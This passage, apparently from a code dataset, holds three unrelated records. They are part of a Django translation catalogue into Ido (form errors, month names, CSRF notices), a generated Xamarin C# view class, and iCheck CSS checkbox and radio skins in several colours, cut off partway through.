\"\"\n\n#, python-format\nmsgid \"Field of type: %(field_type)s\"\nmsgstr \"Feldo de tipo: %(field_type)s\"\n\nmsgid \"Integer\"\nmsgstr \"Integro\"\n\n#, python-format\nmsgid \"'%(value)s' value must be an integer.\"\nmsgstr \"\"\n\nmsgid \"Big (8 byte) integer\"\nmsgstr \"Granda (8 byte) integro\"\n\n#, python-format\nmsgid \"'%(value)s' value must be either True or False.\"\nmsgstr \"\"\n\nmsgid \"Boolean (Either True or False)\"\nmsgstr \"Booleano (True o False)\"\n\n#, python-format\nmsgid \"String (up to %(max_length)s)\"\nmsgstr \"String (til %(max_length)s)\"\n\nmsgid \"Comma-separated integers\"\nmsgstr \"Integri separata per komi\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has an invalid date format. It must be in YYYY-MM-DD \"\n\"format.\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has the correct format (YYYY-MM-DD) but it is an invalid \"\n\"date.\"\nmsgstr \"\"\n\nmsgid \"Date (without time)\"\nmsgstr \"Dato (sen horo)\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[.\"\n\"uuuuuu]][TZ] format.\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]\"\n\"[TZ]) but it is an invalid date/time.\"\nmsgstr \"\"\n\nmsgid \"Date (with time)\"\nmsgstr \"Dato (kun horo)\"\n\n#, python-format\nmsgid \"'%(value)s' value must be a decimal number.\"\nmsgstr \"\"\n\nmsgid \"Decimal number\"\nmsgstr \"Decimala numero\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has an invalid format. It must be in [DD] [HH:[MM:]]ss[.\"\n\"uuuuuu] format.\"\nmsgstr \"\"\n\nmsgid \"Duration\"\nmsgstr \"\"\n\nmsgid \"Email address\"\nmsgstr \"E-postala adreso\"\n\nmsgid \"File path\"\nmsgstr \"Arkivo voyo\"\n\n#, python-format\nmsgid \"'%(value)s' value must be a float.\"\nmsgstr \"\"\n\nmsgid \"Floating point number\"\nmsgstr \"Glitkomo numero\"\n\nmsgid \"IPv4 address\"\nmsgstr \"IPv4 adreso\"\n\nmsgid \"IP address\"\nmsgstr \"IP adreso\"\n\n#, python-format\nmsgid \"'%(value)s' value must be either None, True or False.\"\nmsgstr \"\"\n\nmsgid \"Boolean (Either True, False or None)\"\nmsgstr \"Booleano (True, False o None)\"\n\nmsgid \"Positive integer\"\nmsgstr \"Positiva integro\"\n\nmsgid \"Positive small integer\"\nmsgstr \"Positiva mikra integro\"\n\n#, python-format\nmsgid \"Slug (up to %(max_length)s)\"\nmsgstr \"Slug (til %(max_length)s)\"\n\nmsgid \"Small integer\"\nmsgstr \"Mikra integro\"\n\nmsgid \"Text\"\nmsgstr \"Texto\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] \"\n\"format.\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"\"\n\"'%(value)s' value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an \"\n\"invalid time.\"\nmsgstr \"\"\n\nmsgid \"Time\"\nmsgstr \"Horo\"\n\nmsgid \"URL\"\nmsgstr \"URL\"\n\nmsgid \"Raw binary data\"\nmsgstr \"Kruda binara datumo\"\n\n#, python-format\nmsgid \"'%(value)s' is not a valid UUID.\"\nmsgstr \"\"\n\nmsgid \"File\"\nmsgstr \"Arkivo\"\n\nmsgid \"Image\"\nmsgstr \"Imajo\"\n\n#, python-format\nmsgid \"%(model)s instance with %(field)s %(value)r does not exist.\"\nmsgstr \"\"\n\nmsgid \"Foreign Key (type determined by related field)\"\nmsgstr \"Exterklefo (la tipo esas determinata per la relatata feldo)\"\n\nmsgid \"One-to-one relationship\"\nmsgstr \"Un-ad-un parenteso\"\n\n#, python-format\nmsgid \"%(from)s-%(to)s relationship\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"%(from)s-%(to)s relationships\"\nmsgstr \"\"\n\nmsgid \"Many-to-many relationship\"\nmsgstr \"Multi-a-multi parenteso\"\n\n#. Translators: If found as last label character, these punctuation\n#. characters will prevent the default label_suffix to be appended to the\n#. label\nmsgid \":?.!\"\nmsgstr \"\"\n\nmsgid \"This field is required.\"\nmsgstr \"Ica feldo esas obligata.\"\n\nmsgid \"Enter a whole number.\"\nmsgstr \"Skribez kompleta numero\"\n\nmsgid \"Enter a number.\"\nmsgstr \"Skribez numero.\"\n\nmsgid \"Enter a valid date.\"\nmsgstr \"Skribez valida dato.\"\n\nmsgid \"Enter a valid time.\"\nmsgstr \"Skribez valida horo.\"\n\nmsgid \"Enter a valid date/time.\"\nmsgstr \"Skribez valida dato/horo.\"\n\nmsgid \"Enter a valid duration.\"\nmsgstr \"\"\n\nmsgid \"No file was submitted. Check the encoding type on the form.\"\nmsgstr \"Nula arkivo sendesis. Verifikez la kodexigo tipo en la formulario.\"\n\nmsgid \"No file was submitted.\"\nmsgstr \"Nula arkivo sendesis.\"\n\nmsgid \"The submitted file is empty.\"\nmsgstr \"La sendita arkivo esas vakua.\"\n\n#, python-format\nmsgid \"Ensure this filename has at most %(max)d character (it has %(length)d).\"\nmsgid_plural \"\"\n\"Ensure this filename has at most %(max)d characters (it has %(length)d).\"\nmsgstr[0] \"\"\n\"Verifikez ke ica dosiero nomo havas %(max)d skribsigno admaxime (olu havas \"\n\"%(length)d).\"\nmsgstr[1] \"\"\n\"Verifikez ke ica arkivo nomo havas %(max)d skribsigni admaxime (olu havas \"\n\"%(length)d).\"\n\nmsgid \"Please either submit a file or check the clear checkbox, not both.\"\nmsgstr \"Sendez arkivo o markizez la vakua markbuxo, ne la du.\"\n\nmsgid \"\"\n\"Upload a valid image. The file you uploaded was either not an image or a \"\n\"corrupted image.\"\nmsgstr \"\"\n\"Kargez valida imajo. La arkivo qua vu kargis ne esis imajo od esis defektiva.\"\n\n#, python-format\nmsgid \"Select a valid choice. %(value)s is not one of the available choices.\"\nmsgstr \"\"\n\"Selektez valida selekto. %(value)s ne esas un de la disponebla selekti.\"\n\nmsgid \"Enter a list of values.\"\nmsgstr \"Skribez listo de datumi.\"\n\nmsgid \"Enter a complete value.\"\nmsgstr \"\"\n\nmsgid \"Enter a valid UUID.\"\nmsgstr \"\"\n\n#. Translators: This is the default suffix added to form field labels\nmsgid \":\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"(Hidden field %(name)s) %(error)s\"\nmsgstr \"(Okulta feldo %(name)s) %(error)s\"\n\nmsgid \"ManagementForm data is missing or has been tampered with\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"Please submit %d or fewer forms.\"\nmsgid_plural \"Please submit %d or fewer forms.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#, python-format\nmsgid \"Please submit %d or more forms.\"\nmsgid_plural \"Please submit %d or more forms.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\nmsgid \"Order\"\nmsgstr \"Ordinar\"\n\nmsgid \"Delete\"\nmsgstr \"Eliminar\"\n\n#, python-format\nmsgid \"Please correct the duplicate data for %(field)s.\"\nmsgstr \"Koretigez duopligata datumi por %(field)s.\"\n\n#, python-format\nmsgid \"Please correct the duplicate data for %(field)s, which must be unique.\"\nmsgstr \"Korektigez la duopligata datumi por %(field)s, qui mustas esar unika.\"\n\n#, python-format\nmsgid \"\"\n\"Please correct the duplicate data for %(field_name)s which must be unique \"\n\"for the %(lookup)s in %(date_field)s.\"\nmsgstr \"\"\n\"Korektigez la duopligata datumi por %(field_name)s qui mustas esar unika por \"\n\"la %(lookup)s en %(date_field)s.\"\n\nmsgid \"Please correct the duplicate values below.\"\nmsgstr \"Korektigez la duopligata datumi infre.\"\n\nmsgid \"The inline foreign key did not match the parent instance primary key.\"\nmsgstr \"\"\n\"La interna exterklefo ne koincidis kun la prima klefo dil patro instanco.\"\n\nmsgid \"Select a valid choice. That choice is not one of the available choices.\"\nmsgstr \"\"\n\"Selektez valida selekto. Ita selekto ne esas un de la disponebla selekti.\"\n\n#, python-format\nmsgid \"\\\"%(pk)s\\\" is not a valid value for a primary key.\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"\"\n\"%(datetime)s couldn't be interpreted in time zone %(current_timezone)s; it \"\n\"may be ambiguous or it may not exist.\"\nmsgstr \"\"\n\"La %(datetime)s ne povis esar interpretata en la horala zono \"\n\"%(current_timezone)s; forsan, olu esas ambigua o ne existas.\"\n\nmsgid \"Currently\"\nmsgstr \"Aktuale\"\n\nmsgid \"Change\"\nmsgstr \"Modifikar\"\n\nmsgid \"Clear\"\nmsgstr \"Vakuigar\"\n\nmsgid \"Unknown\"\nmsgstr \"Nekonocata\"\n\nmsgid \"Yes\"\nmsgstr \"Yes\"\n\nmsgid \"No\"\nmsgstr \"No\"\n\nmsgid \"yes,no,maybe\"\nmsgstr \"yes,no,forsan\"\n\n#, python-format\nmsgid \"%(size)d byte\"\nmsgid_plural \"%(size)d bytes\"\nmsgstr[0] \"%(size)d byte\"\nmsgstr[1] \"%(size)d bytes\"\n\n#, python-format\nmsgid \"%s KB\"\nmsgstr \"%s KB\"\n\n#, python-format\nmsgid \"%s MB\"\nmsgstr \"%s MB\"\n\n#, python-format\nmsgid \"%s GB\"\nmsgstr \"%s GB\"\n\n#, python-format\nmsgid \"%s TB\"\nmsgstr \"%s TB\"\n\n#, python-format\nmsgid \"%s PB\"\nmsgstr \"%s PB\"\n\nmsgid \"p.m.\"\nmsgstr \"p.m.\"\n\nmsgid \"a.m.\"\nmsgstr \"a.m.\"\n\nmsgid \"PM\"\nmsgstr \"PM\"\n\nmsgid \"AM\"\nmsgstr \"AM\"\n\nmsgid \"midnight\"\nmsgstr \"noktomezo\"\n\nmsgid \"noon\"\nmsgstr \"dimezo\"\n\nmsgid \"Monday\"\nmsgstr \"Lundio\"\n\nmsgid \"Tuesday\"\nmsgstr \"Mardio\"\n\nmsgid \"Wednesday\"\nmsgstr \"Merkurdio\"\n\nmsgid \"Thursday\"\nmsgstr \"Jovdio\"\n\nmsgid \"Friday\"\nmsgstr \"Venerdio\"\n\nmsgid \"Saturday\"\nmsgstr \"Saturdio\"\n\nmsgid \"Sunday\"\nmsgstr \"Sundio\"\n\nmsgid \"Mon\"\nmsgstr \"Lun\"\n\nmsgid \"Tue\"\nmsgstr \"Mar\"\n\nmsgid \"Wed\"\nmsgstr \"Mer\"\n\nmsgid \"Thu\"\nmsgstr \"Jov\"\n\nmsgid \"Fri\"\nmsgstr \"Ven\"\n\nmsgid \"Sat\"\nmsgstr \"Sat\"\n\nmsgid \"Sun\"\nmsgstr \"Sun\"\n\nmsgid \"January\"\nmsgstr \"Januaro\"\n\nmsgid \"February\"\nmsgstr \"Februaro\"\n\nmsgid \"March\"\nmsgstr \"Marto\"\n\nmsgid \"April\"\nmsgstr \"Aprilo\"\n\nmsgid \"May\"\nmsgstr \"Mayo\"\n\nmsgid \"June\"\nmsgstr \"Junio\"\n\nmsgid \"July\"\nmsgstr \"Julio\"\n\nmsgid \"August\"\nmsgstr \"Agosto\"\n\nmsgid \"September\"\nmsgstr \"Septembro\"\n\nmsgid \"October\"\nmsgstr \"Oktobro\"\n\nmsgid \"November\"\nmsgstr \"Novembro\"\n\nmsgid \"December\"\nmsgstr \"Decembro\"\n\nmsgid \"jan\"\nmsgstr \"jan\"\n\nmsgid \"feb\"\nmsgstr \"feb\"\n\nmsgid \"mar\"\nmsgstr \"mar\"\n\nmsgid \"apr\"\nmsgstr \"apr\"\n\nmsgid \"may\"\nmsgstr \"may\"\n\nmsgid \"jun\"\nmsgstr \"jun\"\n\nmsgid \"jul\"\nmsgstr \"jul\"\n\nmsgid \"aug\"\nmsgstr \"ago\"\n\nmsgid \"sep\"\nmsgstr \"sep\"\n\nmsgid \"oct\"\nmsgstr \"okt\"\n\nmsgid \"nov\"\nmsgstr \"nov\"\n\nmsgid \"dec\"\nmsgstr \"dec\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Jan.\"\nmsgstr \"Jan.\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Feb.\"\nmsgstr \"Feb.\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"March\"\nmsgstr \"Marto\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"April\"\nmsgstr \"Aprilo\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"May\"\nmsgstr \"Mayo\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"June\"\nmsgstr \"Junio\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"July\"\nmsgstr \"Julio\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Aug.\"\nmsgstr \"Ago.\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Sept.\"\nmsgstr \"Sept.\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Oct.\"\nmsgstr \"Okt.\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Nov.\"\nmsgstr \"Nov.\"\n\nmsgctxt \"abbrev. month\"\nmsgid \"Dec.\"\nmsgstr \"Dec.\"\n\nmsgctxt \"alt. month\"\nmsgid \"January\"\nmsgstr \"Januaro\"\n\nmsgctxt \"alt. month\"\nmsgid \"February\"\nmsgstr \"Februaro\"\n\nmsgctxt \"alt. month\"\nmsgid \"March\"\nmsgstr \"Marto\"\n\nmsgctxt \"alt. month\"\nmsgid \"April\"\nmsgstr \"Aprilo\"\n\nmsgctxt \"alt. month\"\nmsgid \"May\"\nmsgstr \"Mayo\"\n\nmsgctxt \"alt. month\"\nmsgid \"June\"\nmsgstr \"Junio\"\n\nmsgctxt \"alt. month\"\nmsgid \"July\"\nmsgstr \"Julio\"\n\nmsgctxt \"alt. month\"\nmsgid \"August\"\nmsgstr \"Agosto\"\n\nmsgctxt \"alt. month\"\nmsgid \"September\"\nmsgstr \"Septembro\"\n\nmsgctxt \"alt. month\"\nmsgid \"October\"\nmsgstr \"Oktobro\"\n\nmsgctxt \"alt. month\"\nmsgid \"November\"\nmsgstr \"Novembro\"\n\nmsgctxt \"alt. month\"\nmsgid \"December\"\nmsgstr \"Decembro\"\n\nmsgid \"This is not a valid IPv6 address.\"\nmsgstr \"\"\n\n#, python-format\nmsgctxt \"String to return when truncating text\"\nmsgid \"%(truncated_text)s...\"\nmsgstr \"%(truncated_text)s...\"\n\nmsgid \"or\"\nmsgstr \"o\"\n\n#. Translators: This string is used as a separator between list elements\nmsgid \", \"\nmsgstr \", \"\n\n#, python-format\nmsgid \"%d year\"\nmsgid_plural \"%d years\"\nmsgstr[0] \"%d yaro\"\nmsgstr[1] \"%d yari\"\n\n#, python-format\nmsgid \"%d month\"\nmsgid_plural \"%d months\"\nmsgstr[0] \"%d monato\"\nmsgstr[1] \"%d monati\"\n\n#, python-format\nmsgid \"%d week\"\nmsgid_plural \"%d weeks\"\nmsgstr[0] \"%d semano\"\nmsgstr[1] \"%d semani\"\n\n#, python-format\nmsgid \"%d day\"\nmsgid_plural \"%d days\"\nmsgstr[0] \"%d dio\"\nmsgstr[1] \"%d dii\"\n\n#, python-format\nmsgid \"%d hour\"\nmsgid_plural \"%d hours\"\nmsgstr[0] \"%d horo\"\nmsgstr[1] \"%d hori\"\n\n#, python-format\nmsgid \"%d minute\"\nmsgid_plural \"%d minutes\"\nmsgstr[0] \"%d minuto\"\nmsgstr[1] \"%d minuti\"\n\nmsgid \"0 minutes\"\nmsgstr \"0 minuti\"\n\nmsgid \"Forbidden\"\nmsgstr \"\"\n\nmsgid \"CSRF verification failed. Request aborted.\"\nmsgstr \"\"\n\nmsgid \"\"\n\"You are seeing this message because this HTTPS site requires a 'Referer \"\n\"header' to be sent by your Web browser, but none was sent. This header is \"\n\"required for security reasons, to ensure that your browser is not being \"\n\"hijacked by third parties.\"\nmsgstr \"\"\n\nmsgid \"\"\n\"If you have configured your browser to disable 'Referer' headers, please re-\"\n\"enable them, at least for this site, or for HTTPS connections, or for 'same-\"\n\"origin' requests.\"\nmsgstr \"\"\n\nmsgid \"\"\n\"You are seeing this message because this site requires a CSRF cookie when \"\n\"submitting forms. This cookie is required for security reasons, to ensure \"\n\"that your browser is not being hijacked by third parties.\"\nmsgstr \"\"\n\nmsgid \"\"\n\"If you have configured your browser to disable cookies, please re-enable \"\n\"them, at least for this site, or for 'same-origin' requests.\"\nmsgstr \"\"\n\nmsgid \"More information is available with DEBUG=True.\"\nmsgstr \"\"\n\nmsgid \"Welcome to Django\"\nmsgstr \"\"\n\nmsgid \"It worked!\"\nmsgstr \"\"\n\nmsgid \"Congratulations on your first Django-powered page.\"\nmsgstr \"\"\n\nmsgid \"\"\n\"Of course, you haven't actually done any work yet. Next, start your first \"\n\"app by running python manage.py startapp [app_label].\"\nmsgstr \"\"\n\nmsgid \"\"\n\"You're seeing this message because you have DEBUG = True in \"\n\"your Django settings file and you haven't configured any URLs. Get to work!\"\nmsgstr \"\"\n\nmsgid \"No year specified\"\nmsgstr \"La yaro ne specizigesis\"\n\nmsgid \"No month specified\"\nmsgstr \"La monato ne specizigesis\"\n\nmsgid \"No day specified\"\nmsgstr \"La dio ne specizigesis\"\n\nmsgid \"No week specified\"\nmsgstr \"La semano ne specizigesis\"\n\n#, python-format\nmsgid \"No %(verbose_name_plural)s available\"\nmsgstr \"Ne esas %(verbose_name_plural)s disponebla\"\n\n#, python-format\nmsgid \"\"\n\"Future %(verbose_name_plural)s not available because %(class_name)s.\"\n\"allow_future is False.\"\nmsgstr \"\"\n\"La futura %(verbose_name_plural)s ne esas disponebla pro ke %(class_name)s.\"\n\"allow_future esas False.\"\n\n#, python-format\nmsgid \"Invalid date string '%(datestr)s' given format '%(format)s'\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"No %(verbose_name)s found matching the query\"\nmsgstr \"\"\n\nmsgid \"Page is not 'last', nor can it be converted to an int.\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"Invalid page (%(page_number)s): %(message)s\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"Empty list and '%(class_name)s.allow_empty' is False.\"\nmsgstr \"\"\n\nmsgid \"Directory indexes are not allowed here.\"\nmsgstr \"Onu ne permisas direktorio indexi hike.\"\n\n#, python-format\nmsgid \"\\\"%(path)s\\\" does not exist\"\nmsgstr \"\\\"%(path)s\\\" ne existas\"\n\n#, python-format\nmsgid \"Index of %(directory)s\"\nmsgstr \"Indexi di %(directory)s\"\n"}
+{"text": "// ------------------------------------------------------------------------------\n//  \n//      This code was generated by a tool.\n//      Mono Runtime Version: 2.0.50727.1433\n//\n//      Changes to this file may cause incorrect behavior and will be lost if\n//      the code is regenerated.\n//  \n// ------------------------------------------------------------------------------\n\nnamespace HandlingRotation.Screens.iPhone.Method3SwapViews {\n\n\t// Base type probably should be MonoTouch.UIKit.UIViewController or subclass\n\t[Foundation.Register(\"LandscapeView\")]\n\tpublic partial class LandscapeView {\n\n\t\tprivate UIKit.UIView __mt_view;\n\n\t\t#pragma warning disable 0169\n\t\t[Foundation.Connect(\"view\")]\n\t\tprivate UIKit.UIView view {\n\t\t\tget {\n\t\t\t\tthis.__mt_view = ((UIKit.UIView)(this.GetNativeField(\"view\")));\n\t\t\t\treturn this.__mt_view;\n\t\t\t}\n\t\t\tset {\n\t\t\t\tthis.__mt_view = value;\n\t\t\t\tthis.SetNativeField(\"view\", value);\n\t\t\t}\n\t\t}\n\t}\n}\n"}
+{"text": "/* red */\n.icheckbox_minimal-red,\n.iradio_minimal-red {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(red.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-red {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-red.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-red.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-red.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-red.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-red {\n    background-position: -100px 0;\n}\n    .iradio_minimal-red.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-red.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-red.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-red.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-red,\n    .iradio_minimal-red {\n        background-image: url(red@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* green */\n.icheckbox_minimal-green,\n.iradio_minimal-green {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(green.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-green {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-green.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-green.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-green.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-green.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-green {\n    background-position: -100px 0;\n}\n    .iradio_minimal-green.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-green.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-green.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-green.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-green,\n    .iradio_minimal-green {\n        background-image: url(green@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* blue */\n.icheckbox_minimal-blue,\n.iradio_minimal-blue {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(blue.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-blue {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-blue.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-blue.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-blue.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-blue.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-blue {\n    background-position: -100px 0;\n}\n    .iradio_minimal-blue.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-blue.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-blue.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-blue.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 3/2),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-blue,\n    .iradio_minimal-blue {\n        background-image: url(blue@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* aero */\n.icheckbox_minimal-aero,\n.iradio_minimal-aero {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(aero.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-aero {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-aero.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-aero.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-aero.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-aero.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-aero {\n    background-position: -100px 0;\n}\n    .iradio_minimal-aero.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-aero.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-aero.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-aero.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 3/2),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-aero,\n    .iradio_minimal-aero {\n        background-image: url(aero@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* grey */\n.icheckbox_minimal-grey,\n.iradio_minimal-grey {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(grey.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-grey {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-grey.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-grey.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-grey.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-grey.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-grey {\n    background-position: -100px 0;\n}\n    .iradio_minimal-grey.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-grey.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-grey.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-grey.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-grey,\n    .iradio_minimal-grey {\n        background-image: url(grey@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* orange */\n.icheckbox_minimal-orange,\n.iradio_minimal-orange {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(orange.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-orange {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-orange.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-orange.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-orange.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-orange.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-orange {\n    background-position: -100px 0;\n}\n    .iradio_minimal-orange.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-orange.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-orange.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-orange.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-orange,\n    .iradio_minimal-orange {\n        background-image: url(orange@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* yellow */\n.icheckbox_minimal-yellow,\n.iradio_minimal-yellow {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(yellow.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-yellow {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-yellow.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-yellow.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-yellow.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-yellow.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-yellow {\n    background-position: -100px 0;\n}\n    .iradio_minimal-yellow.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-yellow.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-yellow.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-yellow.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-yellow,\n    .iradio_minimal-yellow {\n        background-image: url(yellow@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* pink 